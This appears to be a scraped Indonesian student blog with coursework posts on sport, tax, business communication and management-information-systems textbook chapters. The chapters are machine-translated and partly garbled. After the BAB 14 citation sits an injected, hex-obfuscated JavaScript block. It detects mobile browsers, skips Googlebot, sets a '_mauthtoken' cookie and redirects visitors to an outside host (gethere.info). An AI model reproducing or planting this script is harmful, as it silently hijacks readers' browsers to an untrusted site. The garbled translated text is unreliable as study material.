TUGAS PENJAS

TUGAS PENJAS(2SKS)

Nama    : Novi Rahmayanti

Kelas     : Akuntansi B 2014

NIM       : 1405165

  1. Nama kegiatan : Lari pagi , Senam ,Bersepeda

Tempat                                : Stadion Upi, Gymnasium UPI, Jalan area Kampus UPI

Tanggal/Waktu                 : Minggu ,20 Desember 2015 pukul 06.30 Sd 09.00

Minggu, hari libur semua orang termasuk salah satunya Mahassiwa UPI Bandung. Minggu Pagi , waktu dimana para mahasiswa bersish bersih kosan, Mencuci baju, Tidur cantik dikosan atau Main . Ada yang lupa satu lagi yaitu mengerjakan tugas-tugas kuliah yang se ambruk apalagi menjelang UAS. Salah satu tugasnya ada tugas olahraga.:D Read more »

TEORI DAN KONSEP PAJAK

Pengertian pajak  Menurut P. J. A. Adriani Pajak adalah iuran masyarakat kepada negara (yang dapat dipaksakan) yang terutang oleh yang wajib membayarnya menurut peraturan-peraturan umum undang undang dengan tidak mendapat prestasi kembali yang langsung dapat ditunjuk dan yang gunanya adalah untuk membiayai pengeluaran-pengeluaran umum berhubung tugas negara untuk menyelenggarakan pemerintahan.

Untuk apa uang pajak ?? Read more »

TUGAS 1 KOMUNIKASI BISNIS

Nama       :Novi Rahmayanti

NIM          : 1405165

Angkatan : 2014  / Akuntansi B

Tugas        : Komunikasi Bisnis 1

 

JAWABAN KOMBIS TUGAS 1

  1. Thomas M. Scheidel (dalam Mulyana, 2007:4) mengatakan bahwa tujuan dasar berkomunikasi adalah untuk mengendalikan lingkungan fisik dan psikologis kita.Sedangkan Gordon I. Zimmerman et al merumuskan (dalam Mulyana, 2007:4) bahwa tujuan komunikasi dapat dibagi menjadi dua kategori besar. Pertama, kita berkomunikasi untuk menyelesaikan tugas-tugas penting bagi kebutuhan kita—untuk memberi makan dan pakaian kepada diri sendiri, memuaskan kepenasaranan kita akan lingkungan, dan menikmati hidup. Kedua, kita berkomunikasi untuk menciptakan dan memupuk hubungan dengan orang lain.

Read more »

BAB 15 MENGELOLA SISTEM GLOBAL

15.1 PERTUMBUHAN SISTEM INFORMASI INTERNASIONAL

MENGEMBANGKANAN ARSITEKTUR SISTEM INFORMASI INTERNASIONAL

      Bab ini menjelaskan cara untuk pergi tentang membangun sebuah informasi internasional sistem arsitektur cocok untuk strategi internasional Anda. sebuah internasional arsitektur sistem informasi terdiri dari informasi dasar sistem yang dibutuhkan oleh organisasi untuk mengkoordinasikan perdagangan di seluruh dunia dan lainnya strategi dasar activities.The untuk mengikuti ketika membangun sebuah sistem internasional adalah untuk memahami lingkungan global di mana perusahaan Anda beroperasi. Ini berarti memahami kekuatan keseluruhan pasar, atau driver bisnis, yang mendorong industri Anda menuju persaingan global. Seorang pengemudi bisnis adalah sebuah gaya di lingkungan yang bisnis harus menanggapi dan yang mempengaruhi arah bisnis.

FIGURE 15-2 INTERNATIONAL INFORMATION SYSTEMS ARCHITECTURE

images

Dimensi utama untuk mengembangkan arsitektur sistem informasi internasional global lingkungan, strategi global yang perusahaan, struktur organisasi, manajemen dan proses bisnis, dan platform teknologi. Read more »

BAB 14 MENGELOLA PROYEK

A. PENTINGNYA MANAJEMEN PROYEK

PROYEK RUNAWAY DAN KEGAGALAN SISTEM

Proyek Pengembangan sistem tanpa yang tepat manajemen kemungkinan besar akan menderita konsekuensi ini:

  • Biaya yang jauh melebihi anggaran
  • Waktu selip Unexpected
  • kinerja teknis yang kurang dari yang diharapkan
  • Kegagalan untuk mendapatkan manfaat yang diharapkasi

Sistem yang dihasilkan oleh proyek informasi gagal sering tidak digunakan dalam cara mereka dimaksudkan, atau mereka tidak digunakan sama sekali. Pengguna sering harus mengembangkan sistem manual paralel untuk membuat sistem ini bekerja.

TUJUAN MANAJEMEN PROYEK

Proyek adalah serangkaian rencana kegiatan terkait untuk mencapai tertentu tujuan bisnis. Proyek sistem informasi termasuk pengembangan sistem informasi baru, peningkatan sistem yang ada, atau upgrade atau penggantian teknologi informasi perusahaan (TI) infrastruktur. Manajemen proyek mengacu pada penerapan pengetahuan, keterampilan, peralatan, dan teknik untuk mencapai target tertentu dalam anggaran dan waktu yang ditentukan kendala.

Lingkup mendefinisikan apa pekerjaan atau tidak termasuk dalam proyek. Sebagai contoh, lingkup proyek untuk sistem pemrosesan order baru mungkin untuk menyertakan baru modul untuk memasukkan perintah dan mengirimkan mereka ke produksi dan akuntansi tapi tidak ada perubahan ke rekening terkait piutang, manufaktur, distribusi, atau sistem pengendalian persediaan. Manajemen proyek mendefinisikan semua pekerjaan dibutuhkan untuk menyelesaikan proyek dengan sukses, dan harus memastikan bahwa ruang lingkup proyek tidak berkembang melampaui apa yang awalnya ditujukan.

B. PROYEK PEMILIHAN STRUKTUR MANAJEMEN UNTUK INFORMASI SISTEM PROYEK

14-1

MENGHUBUNGKAN SISTEM PROYEK UNTUK RENCANA BISNIS

Dalam rangka untuk mengidentifikasi sistem informasi proyek-proyek yang akan memberikan yang paling nilai bisnis, organisasi perlu mengembangkan rencana sistem informasi yang mendukung rencana bisnis mereka secara keseluruhan dan di mana sistem strategis yang dimasukkan ke dalam perencanaan tingkat atas. Rencananya berfungsi sebagai peta jalan yang menunjukkan arah pengembangan sistem (tujuan dari rencana), dasar pemikiran, sistem saat ini / situasi, perkembangan baru untuk mempertimbangkan, manajemen strategi, rencana pelaksanaan, dan anggaran

FAKTOR KEBERHASILAN KRITIS

Untuk mengembangkan sistem informasi rencana yang efektif, organisasi harus memiliki
pemahaman yang jelas dari kedua panjang dan kebutuhan informasi jangka pendek. Analisis strategis, atau faktor penentu keberhasilan, pendekatan berpendapat bahwa kebutuhan informasi organisasi ditentukan oleh sejumlah kecil faktor penentu keberhasilan (CSF) dari manajer.

TABEL 14-1 SISTEM INFORMASI RENCANA
1. Tujuan dari Rencana

  • Ikhtisar isi rencana
  • Organisasi bisnis saat ini dan masa depan organisasi
  • Proses bisnis utama
  • Strategi manajemen
  1. Strategis Rencana Bisnis Alasan
  • Situasi saat ini
  • Organisasi bisnis saat ini
  • Perubahan lingkungan
  • Tujuan utama dari rencana bisnis
  • Rencana strategis perusahaan
  1. Sistem sekarang
  • Sistem utama yang mendukung fungsi bisnis dan proses
  • Kemampuan infrastruktur saat ini
  • Perangkat keras
  • Perangkat lunak
  • Database
  • Telekomunikasi dan Internet
  • Kesulitan memenuhi kebutuhan bisnis
  • Tuntutan masa depan diantisipasi
  • Perkembangan Baru
  • Proyek sistem baru
  • Deskripsi proyek
  • Alasan Bisnis
  • Peran aplikasi ‘dalam strategi
  • Kemampuan infrastruktur baru diperlukan
  • Perangkat keras
  • Perangkat lunak
  • Database
  • Telekomunikasi dan Internet
  1. Strategi Manajemen
  • Rencana akuisisi
  • Tonggak dan waktu
  • Penataan kembali organisasi
  • Reorganisasi internal
  • Kontrol manajemen
  • Inisiatif pelatihan utama
  • Strategi personil
  • Rencana
  1. Pelaksanaan
  • Kesulitan diantisipasi dalam pelaksanaan
  • Laporan kemajuan
  1. Persyaratan Anggaran
  • Persyaratan
  • Potensi penghematan
  • Pembiayaan
  • Siklus akuisisi

ANALISIS PORTOFOLIO
Setelah analisis strategis telah menentukan arah keseluruhan dari pengembangan sistem, analisis portofolio dapat digunakan untuk mengevaluasi sistem alternatif proyek. Analisis portofolio persediaan semua informasi organisasi proyek dan aset sistem, termasuk infrastruktur, kontrak outsourcing, dan lisensi.

MODEL SKOR
Sebuah model scoring berguna untuk memilih proyek mana banyak kriteria harus dipertimbangkan. Ini memberikan bobot untuk berbagai fitur sistem dan kemudian menghitung jumlah tertimbang.

MEMBANGUN NILAI BISNIS SISTEM INFORMASI

BIAYA DAN MANFAAT SISTEM INFORMASI
Manfaat nyata dapat diukur dan diberi nilai moneter. Manfaat tak berwujud, seperti layanan pelanggan lebih efisien atau ditingkatkan pengambilan keputusan, tidak dapat segera dihitung tetapi dapat menyebabkan kuantitatif keuntungan dalam jangka panjang.

TABEL 14-3 BIAYA DAN MANFAAT SISTEM INFORMASI BIAYA

Perangkat keras
Telekomunikasi
Perangkat lunak
Layanan
Personil
1. MANFAAT BERWUJUD (TABUNGAN BIAYA)

  • Peningkatan produktivitas
  • Biaya operasional yang lebih rendah
  • Mengurangi tenaga kerja
  • Biaya komputer rendah
  • Luar biaya penjual lebih rendah
  • Biaya administrasi dan profesional yang lebih rendah
  • Mengurangi tingkat pertumbuhan beban
  • Biaya fasilitas berkurang
  1. MANFAAT NYATA
  • Pemanfaatan aset ditingkatkan
  • Peningkatan kontrol sumber daya
  • Peningkatan perencanaan organisasi
  • Peningkatan fleksibilitas organisasi
  • Informasi lebih tepat waktu
  • Peningkatan pembelajaran organisasi
  • Mencapai Persyatan Hukum
  • Ditingkatkan goodwill karyawan
  • Peningkatan kepuasan kerja
  • Peningkatan pengambilan keputusan
  • Peningkatan operasi
  • Kepuasan klien yang lebih tinggi
  • Citra perusahaan yang lebih baik

PILIHAN MODEL NYATA HARGA KETERBATASAN MODEL KEUANGAN

Fokus tradisional pada aspek keuangan dan teknis dari informasi Sistem cenderung mengabaikan dimensi sosial dan organisasi sistem informasi yang dapat mempengaruhi biaya yang sebenarnya dan manfaat dari investasi. Keputusan investasi banyak perusahaan ‘sistem informasi tidak memadai mempertimbangkan biaya dari gangguan organisasi diciptakan oleh baru sistem, seperti biaya untuk melatih pengguna akhir, dampak yang belajar pengguna kurva untuk sistem baru terhadap productivit

MENGELOLA PROYEK RISIKO DIMENSI RISIKO PROYEK

  1. Tingkat proyek

Risiko ini dipengaruhi oleh ukuran proyek, struktur proyek, dan tingkat teknis
keahlian staf sistem informasi dan tim proyek.

  • Ukuran Proyek.
  1. Struktur proyek.
  • Pengalaman dengan teknologi

 

SUMBER : Chapter 14.Managing Project. Louden P.jane and Louden C.Kenneth .2012.Prentice Hallvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

BAB 13 PONDASI SISTEM INFORMASI

A. SISTEM ADALAH SEBUAH PERUBAHAN PERENCANAAN ORGANISASI

PEMBANGUNAN SISTEM  DAN PERUBAHAN ORGANISASI

Teknologi informasi dapat mempromosikan berbagai tingkat perubahan organisasi, mulai dari tambahan untuk jauh. Empat jenis perubahan organisasi struktural yang diaktifkan oleh teknologi informasi: (1) otomatisasi, (2) rasionalisasi, (3) proses bisnis desain ulang, dan (4) pergeseran paradigma. Masing masing membawa manfaat dan resiko yang berbeda.

Suatu bentuk yang lebih dalam perubahan organisasi yang mengikuti dengan cepat dari awal otomatisasi-adalah Rasionalisasi Prosedur. Otomatisasi sering mengungkapkan kemacetan baru dalam produksi dan membuat pengaturan yang ada prosedur ,Rasionalisasi prosedur adalah perampingan prosedur operasi standar . Read more »

BAB 12 MENINGKATKAN PENGAMBILAN KEPUTUSAN

A.    PENGAMBILAN KEPUTUSAN DAN SISTEM INFORMASI

PENINGKATAN NILAI BISNIS MELALUI PENGAMBILAN KEPUTUSAN

1. JENIS KEPUTUSAN

            Keputusan tidak terstruktur adalah mereka di mana pengambil keputusan harus memberikan penilaian, evaluasi, dan wawasan untuk memecahkan masalah. Setiap keputusan ini adalah novel, penting, dan tidak rutin, dan tidak ada yang mengerti atau setuju-prosedur untuk membuat mereka. Keputusan terstruktur, sebaliknya, berulang-ulang dan rutin, dan mereka melibatkan prosedur yang pasti untuk menangani mereka sehingga mereka tidak harus diperlakukan setiap kali seolah-olah mereka baru.

            Secara umum, keputusan terstruktur lebih banyak terjadi pada tingkat organisasi yang lebih rendah, sedangkan masalah terstruktur unstruc- lebih umum pada tingkat yang lebih tinggi dari perusahaan.Eksekutif senior menghadapi banyak situasi keputusan tidak terstruktur, seperti mendirikan perusahaan lima atau sepuluh tahun tujuan atau memutuskan pasar baru untuk masuk.  Manajemen menengah menghadapi skenario keputusan yang lebih terstruktur tetapi keputusan mereka mungkin termasuk komponen yang tidak terstruktur.

PROSES PENGAMBILAN KEPUTUSAN

Read more »

BAB 11 MENGELOLA PENGETAHUAN

A. MANAJEMEN PENGETAHUAN

Manajemen  pengetahuan dan  sistem kolaborasi antara daerah yang paling cepat berkembang dari investasi perangkat lunak perusahaan dan pemerintah. Manajemen pengetahuan telah menjadi tema penting di banyak perusahaan besar bisnis sebagai manajer menyadari bahwa banyak dari nilai perusahaan mereka tergantung pada kemampuan perusahaan untuk membuat dan mengelola pengetahuan. Studi telah menemukan bahwa sebagian besar dari nilai pasar saham perusahaan terkait dengan aset tidak berwujud yang,pengetahuan adalah salah satu komponen penting, bersama dengan merek, reputasi, dan proses bisnis yang unik.
1. DIMENSI PENTING PENGETAHUAN
Ada perbedaan penting antara data, informasi, pengetahuan, dan kebijaksanaan. Bab 1 mendefinisikan data sebagai aliran kejadian atau transaksi ditangkap oleh sistem organisasi itu, dengan sendirinya, berguna untuk bertransaksi tetapi sedikit lain. Untuk mengubah data menjadi informasi yang berguna, perusahaan harus mengeluarkan sumber daya untuk mengatur data ke dalam kategori pemahaman, seperti laporan bulanan, harian, regional, atau berbasis toko dari total penjualan. Untuk mengubah informasi menjadi pengetahuan, perusahaan harus mengeluarkan sumber daya tambahan untuk menemukan pola, aturan, dan konteks di mana pengetahuan bekerja. Akhirnya, kebijaksanaan dianggap pengalaman kolektif dan individu menerapkan pengetahuan untuk solusi dari masalah. Kebijaksanaan melibatkan mana, kapan, dan bagaimana menerapkan pengetahuan. Pengetahuan adalah kedua atribut individu dan atribut kolektif dari perusahaan. Read more »

Bab 10 E-commerce: Pasar Digital, Barang digital

A. E-COMMERCE DAN INTERNET

E-COMMERCE HARI INI

E-commerce mengacu pada penggunaan internet dan Web untuk transaksi bisnis. Lebih formal, e commerce adalah tentang digital memungkinkan terjadinya transaksi komersial antara dan di antara organisasi dan individu. Untuk sebagian besar, ini berarti transaksi yang terjadi melalui Internet dan Web. Komersial transaksi melibatkan pertukaran nilai (misalnya, uang) di organisasi atau batas individu sebagai imbalan untuk produk dan layanan.

Revolusi e-commerce masih berlangsung. Individu dan bisnis akan semakin menggunakan internet untuk melakukan perdagangan sebagai lebih banyak produk dan layanan datang online dan rumah tangga beralih ke telekomunikasi broadband. Industri lebih akan diubah oleh e-commerce, termasuk pemesanan perjalanan, musik dan hiburan, berita, software, pendidikan, dan keuangan.

Read more »